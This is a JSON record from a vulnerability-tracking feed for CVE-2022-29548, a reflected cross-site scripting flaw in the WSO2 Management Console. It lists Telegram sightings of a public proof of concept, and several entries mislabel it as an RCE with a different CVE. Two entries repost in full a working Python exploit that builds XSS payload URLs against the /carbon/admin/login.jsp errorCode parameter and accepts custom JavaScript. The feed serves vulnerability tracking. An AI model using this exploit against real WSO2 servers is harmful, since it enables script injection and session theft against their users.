{"vulnerability": "CVE-2022-29548", "sightings": [{"uuid": "5bf3601e-4b33-43ec-816c-c7bf2210b0ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-29548", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2024", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aWSO2 RCE (CVE-2022-29464) \nURL\uff1ahttps://github.com/cxosmo/CVE-2022-29548\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-04-24T06:03:18.000000Z"}, {"uuid": "33f48cc7-b4a1-40d6-a704-b55f37c768e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-29548", "type": "seen", "source": "https://t.me/BlueRedTeam/1985", "content": "#CVE-2022\n\nWSO2 RCE (CVE-2022-29464) \n\nhttps://github.com/cxosmo/CVE-2022-29548\n\n@BlueRedTeam", "creation_timestamp": "2022-04-24T10:56:45.000000Z"}, {"uuid": "4eb990e5-2093-4431-b8d9-35a1f16918db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-29548", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/71", "content": "https://github.com/cxosmo/CVE-2022-29548", "creation_timestamp": "2023-07-14T09:52:18.000000Z"}, {"uuid": "cc57e1ed-d801-4ba5-9d91-9b0a8001be2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-29548", "type": "seen", "source": "https://t.me/hacking_Attack/59128", "content": "Exploit Collector\nWSO2 Management Console Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-S-N0q2XL8x8/WWlu5FDj1eI/AAAAAAAAIJA/vGskVQb_QegQZ0-UZMHSDeFJ08ju6pdGQCLcBGAs/s1600/h104.png \nWSO2 Management Console suffers from a cross site scripting vulnerability. Many different product versions are affected.\n\nSHA-256 | 209bab2c58dfce94eee51b7eb0b2675f337036396419fe6c59da3c84e1861a31\n\nDownload\n# Exploit Title: WSO2 Management Console (Multiple Products) - Unauthenticated Reflected Cross-Site Scripting (XSS)\n# Date: 21 Apr 2022\n# Exploit Author: cxosmo\n# Vendor Homepage: https://wso2.com\n# Software Link: API Manager (https://wso2.com/api-manager/), Identity Server (https://wso2.com/identity-server/), Enterprise Integrator (https://wso2.com/integration/) \n# Affected Version(s): API Manager 2.2.0, 2.5.0, 2.6.0, 3.0.0, 3.1.0, 3.2.0 and 4.0.0; \n# API Manager Analytics 2.2.0, 2.5.0, and 2.6.0;\n# API Microgateway 2.2.0;\n# Data Analytics Server 3.2.0;\n# Enterprise Integrator 6.2.0, 6.3.0, 6.4.0, 6.5.0, and 6.6.0;\n# IS as Key Manager 5.5.0, 5.6.0, 5.7.0, 5.9.0, and 5.10.0;\n# Identity Server 5.5.0, 5.6.0, 5.7.0, 5.9.0, 5.10.0, and 5.11.0;\n# Identity Server Analytics 5.5.0 and 5.6.0;\n# WSO2 Micro Integrator 1.0.0.\n# Tested on: API Manager 4.0.0 (OS: Ubuntu 21.04; Browser: Chromium Version 99.0.4844.82)\n# CVE: CVE-2022-29548\n\nimport argparse\nimport logging\nimport urllib.parse\n\n# Global variables\nVULNERABLE_ENDPOINT = \"/carbon/admin/login.jsp?loginStatus=false&errorCode=\"\nDEFAULT_PAYLOAD = \"alert(document.domain)\"\n\n# Logging config\nlogging.basicConfig(level=logging.INFO, format=\"\")\nlog = logging.getLogger()\n\ndef generate_payload(url, custom_payload=False):\nlog.info(f\"Generating payload for {url}...\")\nif custom_payload:\nlog.info(f\"[+] GET-based reflected XSS payload: {url}{VULNERABLE_ENDPOINT}%27);{custom_payload}//\")\nelse:\nlog.info(f\"[+] GET-based reflected XSS payload: {url}{VULNERABLE_ENDPOINT}%27);{DEFAULT_PAYLOAD}//\")\n\ndef clean_url_input(url):\nif url.count(\"/\") > 2:\nreturn f\"{url.split('/')[0]}//{url.split('/')[2]}\"\nelse:\nreturn url\n\ndef check_payload(payload):\nencoded_characters = ['\"', '<',']\nif any(character in payload for character in encoded_characters):\nlog.info(f\"Unsupported character(s) (\\\", <,) found in payload.\")\nreturn False\nelse:\nreturn urllib.parse.quote(payload)\n\nif __name__ == \"__main__\":\n# Parse command line\nparser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter)\nrequired_arguments = parser.add_argument_group('required arguments')\nrequired_arguments.add_argument(\"-t\", \"--target\",\nhelp=\"Target address {protocol://host} of vulnerable WSO2 application (e.g. https://localhost:9443)\",\nrequired=\"True\", action=\"store\")\nparser.add_argument(\"-p\", \"--payload\",\nhelp=\"Use custom JavaScript for generated payload (Some characters (\\\") are HTML-entity encoded and therefore are unsupported). (Defaults to alert(document.domain))\",\naction=\"store\", default=False)\nargs = parser.parse_args()\n\n# Clean user target input\nargs.target = clean_url_input(args.target.lower())\n\n# Check for unsupported characters in custom payload; URL-encode as required\nif args.payload:\nargs.payload = check_payload(args.payload)\nif args.payload:\ngenerate_payload(args.target, args.payload)\nelse:\ngenerate_payload(args.target)\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:35.228713Z"}, {"uuid": "eb0417ba-1d07-4a8a-ad8c-50dcda47e239", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-29548", "type": "seen", "source": "https://t.me/hacking_Attack/59128", "content": "Exploit Collector\nWSO2 Management Console Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-S-N0q2XL8x8/WWlu5FDj1eI/AAAAAAAAIJA/vGskVQb_QegQZ0-UZMHSDeFJ08ju6pdGQCLcBGAs/s1600/h104.png \nWSO2 Management Console suffers from a cross site scripting vulnerability. Many different product versions are affected.\n\nSHA-256 | 209bab2c58dfce94eee51b7eb0b2675f337036396419fe6c59da3c84e1861a31\n\nDownload\n# Exploit Title: WSO2 Management Console (Multiple Products) - Unauthenticated Reflected Cross-Site Scripting (XSS)\n# Date: 21 Apr 2022\n# Exploit Author: cxosmo\n# Vendor Homepage: https://wso2.com\n# Software Link: API Manager (https://wso2.com/api-manager/), Identity Server (https://wso2.com/identity-server/), Enterprise Integrator (https://wso2.com/integration/) \n# Affected Version(s): API Manager 2.2.0, 2.5.0, 2.6.0, 3.0.0, 3.1.0, 3.2.0 and 4.0.0; \n# API Manager Analytics 2.2.0, 2.5.0, and 2.6.0;\n# API Microgateway 2.2.0;\n# Data Analytics Server 3.2.0;\n# Enterprise Integrator 6.2.0, 6.3.0, 6.4.0, 6.5.0, and 6.6.0;\n# IS as Key Manager 5.5.0, 5.6.0, 5.7.0, 5.9.0, and 5.10.0;\n# Identity Server 5.5.0, 5.6.0, 5.7.0, 5.9.0, 5.10.0, and 5.11.0;\n# Identity Server Analytics 5.5.0 and 5.6.0;\n# WSO2 Micro Integrator 1.0.0.\n# Tested on: API Manager 4.0.0 (OS: Ubuntu 21.04; Browser: Chromium Version 99.0.4844.82)\n# CVE: CVE-2022-29548\n\nimport argparse\nimport logging\nimport urllib.parse\n\n# Global variables\nVULNERABLE_ENDPOINT = \"/carbon/admin/login.jsp?loginStatus=false&errorCode=\"\nDEFAULT_PAYLOAD = \"alert(document.domain)\"\n\n# Logging config\nlogging.basicConfig(level=logging.INFO, format=\"\")\nlog = logging.getLogger()\n\ndef generate_payload(url, custom_payload=False):\nlog.info(f\"Generating payload for {url}...\")\nif custom_payload:\nlog.info(f\"[+] GET-based reflected XSS payload: {url}{VULNERABLE_ENDPOINT}%27);{custom_payload}//\")\nelse:\nlog.info(f\"[+] GET-based reflected XSS payload: {url}{VULNERABLE_ENDPOINT}%27);{DEFAULT_PAYLOAD}//\")\n\ndef clean_url_input(url):\nif url.count(\"/\") > 2:\nreturn f\"{url.split('/')[0]}//{url.split('/')[2]}\"\nelse:\nreturn url\n\ndef check_payload(payload):\nencoded_characters = ['\"', '<',']\nif any(character in payload for character in encoded_characters):\nlog.info(f\"Unsupported character(s) (\\\", <,) found in payload.\")\nreturn False\nelse:\nreturn urllib.parse.quote(payload)\n\nif __name__ == \"__main__\":\n# Parse command line\nparser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter)\nrequired_arguments = parser.add_argument_group('required arguments')\nrequired_arguments.add_argument(\"-t\", \"--target\",\nhelp=\"Target address {protocol://host} of vulnerable WSO2 application (e.g. https://localhost:9443)\",\nrequired=\"True\", action=\"store\")\nparser.add_argument(\"-p\", \"--payload\",\nhelp=\"Use custom JavaScript for generated payload (Some characters (\\\") are HTML-entity encoded and therefore are unsupported). (Defaults to alert(document.domain))\",\naction=\"store\", default=False)\nargs = parser.parse_args()\n\n# Clean user target input\nargs.target = clean_url_input(args.target.lower())\n\n# Check for unsupported characters in custom payload; URL-encode as required\nif args.payload:\nargs.payload = check_payload(args.payload)\nif args.payload:\ngenerate_payload(args.target, args.payload)\nelse:\ngenerate_payload(args.target)\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:45.012477Z"}]}